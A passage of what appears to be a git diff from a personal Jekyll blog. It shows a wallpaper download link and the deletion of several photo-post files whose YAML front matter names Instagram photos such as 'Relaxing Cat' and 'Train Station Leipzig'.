<a class="btn-primary icon-download" href="/media/momcorp_wall_by_kremalicious.zip">Download</a>
<a href="http://krlc.us/givecoffee" class="icon-heart">Donate</a>
</p>

19
_src/_posts/2012-03-04-relaxing-cat.md
View File

@ -1,19 +0,0 @@
---
layout: photo
title: Relaxing Cat
image: 7f9397a265d811e1b9f1123138140926_7.jpg
author: Matthias Kretschmann
date: 2012-03-04 08:00:32+00:00
wordpress_id: 1729
categories:
- photos
post_format:
- Image
tags:
- instagram
- sitamun
---

18
_src/_posts/2012-04-03-skeletor.md
View File

@ -1,18 +0,0 @@
---
layout: photo
title: Skeletor
image: 6313cc1e7db611e180c9123138016265_7.jpg
author: Matthias Kretschmann
date: 2012-04-03 17:56:49+00:00
wordpress_id: 1745
categories:
- photos
post_format:
- Image
tags:
- instagram
---

18
_src/_posts/2012-04-03-train-station-leipzig.md
View File

@ -1,18 +0,0 @@
---
layout: photo
title: Train Station Leipzig
image: de2ac24c7db911e1b9f1123138140926_7.jpg
author: Matthias Kretschmann
date: 2012-04-03 18:21:44+00:00
wordpress_id: 1747
categories:
- photos
post_format:
- Image
tags:
- instagram
---

18
_src/_posts/2012-04-05-current-sushi-status.md
View File

@ -1,18 +0,0 @@
---
layout: photo
title: Current Sushi Status
image: aff38e2c7f5311e1b10e123138105d6b_7.jpg
author: Matthias Kretschmann
date: 2012-04-05 19:15:20+00:00
wordpress_id: 1731
categories:
- photos
post_format:
- Image
tags:
- instagram
---

18
_src/_posts/2012-04-07-buna.md
View File

@ -1,18 +0,0 @@
---
layout: photo
title: Buna
image: 44af28f2805b11e18cf91231380fd29b_7.jpg
author: Matthias Kretschmann
date: 2012-04-07 02:42:08+00:00
wordpress_id: 1733
categories:
- photos
post_format:
- Image
tags:
- instagram
---

Some files were not shown because too many files have changed in this diff Show More